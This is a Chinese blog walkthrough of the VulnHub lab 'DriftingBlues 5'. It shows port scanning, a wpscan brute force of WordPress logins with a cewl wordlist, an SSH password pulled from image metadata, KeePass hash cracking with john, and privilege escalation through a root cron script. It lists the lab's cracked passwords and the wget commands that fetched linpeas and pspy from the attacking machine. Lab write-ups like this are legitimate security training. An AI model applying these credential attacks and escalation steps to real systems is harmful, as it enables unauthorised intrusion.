靶机渗透练习05-driftingblues5

靶机描述

靶机地址:https://www.vulnhub.com/entry/driftingblues-5,662/

Description

get flags

difficulty: easy

about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.

This works better with VirtualBox rather than VMware.

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.27

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220220155254620

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

☁  kali  nmap -A -sV -T4 -p- 192.168.9.27
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-20 15:53 CST
Nmap scan report for 192.168.9.27
Host is up (0.00040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: diary – Just another WordPress site
|_http-generator: WordPress 5.6.2
MAC Address: 08:00:27:E5:DE:4D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.40 ms 192.168.9.27

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds

22---ssh---OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80---http---Apache httpd 2.4.38 ((Debian))

2.2枚举漏洞

22 端口分析

一般只能暴力破解,暂时没有合适的字典

80 端口分析

访问 80 端口

image-20220220155739790

又是一个WordPress站

扫描一下目录

image-20220220155929830

看到了登录界面

image-20220220160105768

wpscan扫描一下吧

image-20220220160334666

没有什么发现

2.3漏洞利用

2.3.1 使用 cewl 生成网站字典 wpscan 破解账号和密码

使用 cewl 生成字典(wordpress 系统密码最少 6 位,-m 6)

image-20220220160556197

使用 wpscan 扫描枚举用户名以及破解密码:
wpscan --url http://192.168.9.27/ -e u --passwords passwd.txt

image-20220220160723304

成功爆破出账号密码gill / interchangeable
利用得到的用户密码登录一下

image-20220220160854183

2.3.2 信息收集获取 SSH 密码 getshell

没有主题编辑,其他的也没啥发现
但是在图片这里,发现了一个80页面中没有的图片

image-20220220161129896

下载 logo 文件
wget http://192.168.9.27/wp-content/uploads/2021/02/dblogo.png

image-20220220161259678

使用exiftool 工具分析一下该图片:exiftool dblogo.png

image-20220220161345272

发现ssh密码59583hello

使用gill / 59583hello 登录一下

image-20220220161535271

成功登录,进入/home/gill目录下,找到flag1

image-20220220161630327

2.4权限提升

2.4.1 破解 kdbox 密码

同时在 home 目录发现一个文件:keyfile.kdbx

image-20220220162208048

百度一下发现是 KeePass 密码,同时在https://tzusec.com/cracking-keepass-database/

找到相关破解方法

在目录下,开启 web 服务,将文件下载到本地

image-20220220162006164

先将 keyfile.kdbx 内容转为 john 支持的格式:keepass2john keyfile.kdbx > Keepasshash.txt

然后使用 john 破解:john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt

image-20220220162739805

破解出密码:porsiempre
这个密码是什么的密码暂时不清楚,咱们试试su root

image-20220220162931181

2.4.2 信息收集获取敏感目录和程序

在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null

image-20220220163102846

https://gtfobins.github.io/没有任何发现

咱们利用一下linpeas.sh信息收集一波

kali上开启http服务,python -m http.server 88

在目标靶机上下载linpeas.sh

image-20220220163504034

执行一下该脚本

image-20220220163557371

发现一wp站的数据库账号密码wpuser.:.zurrak.:.

image-20220220163820938

发现几个root权限的文件夹

image-20220220163943640

可以发现除了 root 之外的其他用户可以在目录上写

image-20220220164155091

还发现了最近 5 分钟内,有访问身份认证和 keypass 相关文件
上传一个监控程序,看看访问情况:

wget http://192.168.9.7:88/pspy64
chmod +x pspy64
./pspy64

image-20220220164507026

可以发现一个计划任务执行的脚本,大概一分钟一次:

image-20220220164532961

可以发现没有权限查看脚本,只能猜脚本可能有什么内容,
根据上面情况看,应该是 keypass 相关的身份认证代码

2.4.3 解密 keepass 数据库获取密码

可以使用 keepass 服务并查看存储的密码

上传 keeass db 的链接:https://app.keeweb.info/
文件:keyfile.kdbx
密码:porsiempre

image-20220220164759800

分析完成后发现六个密码

image-20220220164830580

2real4surreal
buddyretard
closet313
exalted
fracturedocean
zakkwylde

将上面密码逐一尝试,还是不行

2.4.4 创建 key 文件等待访问文件提权

根据前面获取的信息,我们现在可以推测:
/root/key.sh 脚本会通过计划任务执行,可能会访问/keyfolder 目录中对应的 key 文件
key 就是通过 keypass 解密出来的:

2real4surreal
buddyretard
closet313
exalted
fracturedocean
zakkwylde

将以上 key 保存到一个文件中

image-20220220165154128

将 keys 文件中的 key 逐一读取出来,都创建成文件
while read key; do touch $key ;done < keys

image-20220220165529292

按部就班将每个 key 移动到 keyfolder 文件夹中,等待一分钟,看是否有生成新文件

# 1 没有生成文件
gill@driftingblues:/tmp$ mv 2real4surreal /keyfolder/
gill@driftingblues:/tmp$ ls -al /keyfolder
total 8
drwx---rwx  2 root root 4096 Feb 20 02:55 .
drwxr-xr-x 19 root root 4096 Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 Feb 20 02:55 2real4surreal
gill@driftingblues:/tmp$ rm /keyfolder/*

# 2 没有生成文件
gill@driftingblues:/tmp$ mv buddyretard /keyfolder/
gill@driftingblues:/tmp$ ls -al /keyfolder
total 8
drwx---rwx  2 root root 4096 Feb 20 02:56 .
drwxr-xr-x 19 root root 4096 Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 Feb 20 02:55 buddyretard
gill@driftingblues:/tmp$ rm /keyfolder/*

# 3 没有生成文件
gill@driftingblues:/tmp$ mv closet313 /keyfolder/
gill@driftingblues:/tmp$ ls -al /keyfolder
total 8
drwx---rwx  2 root root 4096 Feb 20 02:56 .
drwxr-xr-x 19 root root 4096 Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 Feb 20 02:55 closet313
gill@driftingblues:/tmp$ rm /keyfolder/*

# 4 没有生成文件
gill@driftingblues:/tmp$ mv exalted /keyfolder/
gill@driftingblues:/tmp$ ls -al /keyfolder
total 8
drwx---rwx  2 root root 4096 Feb 20 02:57 .
drwxr-xr-x 19 root root 4096 Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 Feb 20 02:55 exalted
gill@driftingblues:/tmp$ rm /keyfolder/*

# 5 生成rootcreds.txt文件
gill@driftingblues:/tmp$ mv fracturedocean /keyfolder/
gill@driftingblues:/keyfolder$ ls -al /keyfolder
total 12
drwx---rwx  2 root root 4096 Feb 20 02:58 .
drwxr-xr-x 19 root root 4096 Feb 24  2021 ..
-rw-r--r--  1 gill gill    0 Feb 20 02:55 fracturedocean
-rw-r--r--  1 root root   29 Feb 20 02:58 rootcreds.txt
gill@driftingblues:/keyfolder$ cat rootcreds.txt

image-20220220165817623

image-20220220165840290

成功拿到密码imjustdrifting31,

su root成功提权,并在root目录下拿到flag2

image-20220220170004509

回头再看看这个key.sh的内容

root@driftingblues:~# cat key.sh
#!/bin/bash

if [[ $(ls /keyfolder) == "fracturedocean" ]]; then
        echo "root creds" >> /keyfolder/rootcreds.txt
        echo "" >> /keyfolder/rootcreds.txt
        echo "imjustdrifting31" >> /keyfolder/rootcreds.txt
fi

与猜测的差不太多,计划任务执行key.sh程序,最后生成rootcreds.txt

总结

本节通过cewl 工具生成字典,进而使用 wpscan 扫描工具破解网站用户名密码,然后利用exiftool工具提取图片中文件,获取 ssh 密码从而拿到shell,最后创建 key 文件提权

  1. 利用gobuster工具进行目录扫描
  2. cewl 网站字典生成工具
  3. wpscan 扫描工具
  4. exiftool 图片内容提取工具
  5. KeePass 的 key 文件破解
  6. 解密 keepass 数据库获取密码
  7. 创建 key 文件提权
posted @ 2022-04-01 12:26  hirak0  阅读(167)  评论(0编辑  收藏  举报